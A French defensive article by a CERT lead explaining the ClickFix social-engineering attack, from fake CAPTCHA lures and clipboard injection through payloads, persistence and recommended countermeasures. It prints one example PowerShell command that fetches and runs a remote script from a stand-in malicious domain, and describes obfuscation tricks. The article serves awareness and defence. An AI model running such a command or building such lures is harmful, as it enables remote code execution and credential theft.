ClickFix s’impose comme étant une méthode d’accès initial redoutable : elle ne contourne pas les défenses par la technique pure, mais en déplaçant l’exécution côté utilisateur.
Une attaque qui retourne la logique de défense
La plupart des malwares modernes s’introduisent par effraction : exploitation d’une vulnérabilité, pièce jointe piégée, téléchargement furtif. ClickFix fait l’inverse. L’attaquant n’a rien à forcer. Il convainc la victime d’ouvrir elle-même la porte, de copier-coller la commande, et d’appuyer sur Entrée.
Les chiffres traduisent l’ampleur du basculement. Plusieurs éditeurs, dont Microsoft, ESET et Rapid7, documentent une forte progression de cette technique. L’ANSSI a inscrit ClickFix dans son panorama de la cybermenace au même rang que le SIM-Swapping et le MFA Fatigue parmi les techniques d’ingénierie sociale en forte recrudescence. Plusieurs opérations de rançongiciel, dont LeakNet, en ont fait leur vecteur d’entrée principal.
Qu’est-ce que ClickFix, concrètement ?
ClickFix est une famille d’attaques d’ingénierie sociale dont le principe tient en une phrase : faire croire à la victime qu’elle doit « réparer » un problème en exécutant une commande sur sa propre machine.
Le leurre prend généralement l’une de ces trois formes :
- un faux message d’erreur système (« cette page ne charge pas », « police d’affichage manquante »).
- un faux CAPTCHA imitant Cloudflare Turnstile ou Google reCAPTCHA (« je ne suis pas un robot – vérification supplémentaire requise »).
- une fausse notification prétendant qu’une mise à jour de navigateur ou un correctif est nécessaire.
Dans tous les cas, la page propose une « solution » en trois étapes apparemment anodines : ‘Win + R’, ‘Ctrl + V’, ‘Entrée’. Ce que la victime ignore, c’est que le contenu du presse-papiers a été silencieusement remplacé par du JavaScript au moment où elle a cliqué sur le leurre, et qu’elle vient d’exécuter une commande PowerShell ou `mshta` malveillante via la boîte « Exécuter » de Windows.
Anatomie technique d’une attaque ClickFix
Étape 1 – Le vecteur d’entrée
Trois canaux dominent aujourd’hui :
- Sites légitimes compromis : c’est devenu le canal majoritaire. Injection de JavaScript sur des sites WordPress mal protégés ou via des plugins vulnérables.
- SEO poisoning et malvertising : achat d’annonces Google et positionnement de sites frauduleux dans les premiers résultats. Contournement total de la couche email.
- Phishing classique: courrier électronique frauduleux avec lien ou pièce jointe piégée. Vecteur historique, désormais bien filtré par les passerelles de messagerie.
Étape 2 – Le déclencheur
L’utilisateur arrive sur une page qui simule un dysfonctionnement. Le faux CAPTCHA est aujourd’hui la variante la plus répandue : une reproduction visuellement quasiment identique à l’original, cases à cocher, animation de chargement. Au moment où l’utilisateur clique sur « Vérifier », un script JavaScript du type navigator.clipboard.writeText(…) injecte la charge utile dans le presse-papiers, et une fenêtre modale dicte la marche à suivre.
Voici quelques exemples :
Étape 3 – L’exécution par l’utilisateur
La commande collée ressemble typiquement à ceci mais en pratique est très souvent obfusquée et masquée :
powershell -w hidden -c “iex (iwr ‘https[:]//domaine-malveillant[.]tld/payload[.]ps1’)”
Les attaquants insèrent des centaines d’espaces avant le code réel pour que la victime, en collant dans la barre « Exécuter », ne voie qu’un fragment inoffensif. Certaines variantes utilisent « mshta » (pour exécuter du HTML/JS distant), « curl », ou un double encodage Base64.
Les variantes se multiplient. Microsoft a alerté en février 2026 sur une mutation plus discrète encore : l’utilisation de requêtes DNS pour livrer un RAT baptisé ModeloRAT, contournant ainsi les pare-feux qui n’inspectent pas le trafic DNS.
Étape 4 – Le payload et ses conséquences
Une fois la commande exécutée, la machine appelle un serveur de commande et contrôle (C2) et télécharge le malware effectif. Les conséquences observées par nos équipes SOC sur les incidents récents couvrent quatre catégories, souvent enchaînées :
- Vol d’identifiants : mots de passe enregistrés dans le navigateur, jetons d’accès Microsoft 365, cookies de session.
- Vol de données sensibles : portefeuilles de cryptomonnaies, fichiers de configuration VPN, documents financiers.
- Installation d’un RAT (cheval de Troie d’accès à distance) : MIMICRAT, AsyncRAT, NetSupport détourné. L’attaquant prend la main à distance, cartographie le réseau, et prépare la phase suivante.
- Déclenchement d’un rançongiciel : LeakNet et plusieurs autres opérateurs utilisent désormais ClickFix comme point d’entrée principal, le déploiement effectif intervenant souvent plusieurs jours après la compromission initiale.
La persistance est généralement assurée par une modification du registre Windows pour relancer le programme malveillant à chaque démarrage de session.
Pourquoi ClickFix contourne les défenses
C’est ici que la technique devient inquiétante. Mettez-vous à la place d’un EDR : un utilisateur ouvre la boîte « Exécuter » et lance PowerShell. Légitime. PowerShell télécharge un script depuis Internet. Suspect, mais des dizaines d’outils d’administration le font tous les jours. La commande s’exécute avec les droits et l’identité de l’utilisateur réel. Il n’y a pas d’élévation de privilèges, pas de comportement anormal du point de vue de l’identité.
L’EDR ne relèvera donc pas de comportement anormal.
Comment se protéger : la défense en profondeur
Bien que les outils classiques de sécurité ne puissent détecter cette attaque, il existe plusieurs actions pour se protéger :
- Désactiver ou journaliser la boîte « Exécuter » via GPO pour les profils qui n’en ont pas l’usage : “User Configuration → Administrative Templates → Start Menu and Taskbar → Remove Run menu from Start Menu”. Effet immédiat, impact métier généralement faible.
- Contraindre PowerShell : « Constrained Language Mode », signature obligatoire des scripts (`ExecutionPolicy AllSigned`), désactivation explicite de PowerShell v2 qui contourne la journalisation moderne.
- Activer ScriptBlock Logging et Module Logging pour conserver une trace en clair des commandes, même obfusquées.
- Règles ASR (Attack Surface Reduction) de Microsoft Defender : bloquer notamment l’exécution de scripts téléchargés, l’usage de « mshta.exe » comme parent d’un processus, et les processus enfants suspects d’Office.
Le facteur humain : la règle à marteler
C’est le facteur le plus déterminant, parce que c’est elle que ClickFix attaque. La consigne tient en une ligne :
RÈGLE D’OR
Ne JAMAIS coller ni taper de commande dans la fenêtre « Exécuter » (Win+R) ou dans la barre d’adresse de l’Explorateur Windows à la demande d’un site web, quelle que soit la justification invoquée.
Les formulations à reconnaître comme attaques, sans exception :
- « Appuyez sur Windows+R puis collez ce code »
- « Pour prouver que vous êtes humain, ouvrez l’invite de commande et tapez ceci »
- « Votre navigateur a besoin d’une mise à jour – copiez la commande ci-dessous »
- « Police système manquante / erreur de rendu – exécutez ce correctif »
- « Vérification Cloudflare avancée : effectuez les étapes suivantes »
Un site web légitime ne demandera jamais à un utilisateur d’exécuter une commande sur sa machine pour passer une vérification.
En cas de doute, il ne faut pas hésiter à se rapprocher de ses équipes de sécurité.
En conclusion
ClickFix n’est pas une vulnérabilité au sens technique : aucun patch ne la corrigera, parce qu’elle exploite une fonctionnalité légitime du système d’exploitation et la confiance de l’utilisateur. C’est précisément ce qui la rend redoutable, et ce qui explique qu’elle ait pu, en moins de deux ans, devenir la première méthode d’accès initial observée sur le terrain.
Afin de réussir à se protéger de cette menace, la défense doit combiner : durcissement technique des postes (PowerShell, AppLocker, ASR), supervision réseau (DNS, proxy, EDR avec règles dédiées), et surtout sensibilisation continue. Dans ce type d’attaque, l’utilisateur n’est pas le maillon faible, il est le dernier rempart. Encore faut-il qu’il sache reconnaître le piège au moment précis où celui-ci ne se referme.
Auteur :
Alexandre Turpin – Responsable Service CERT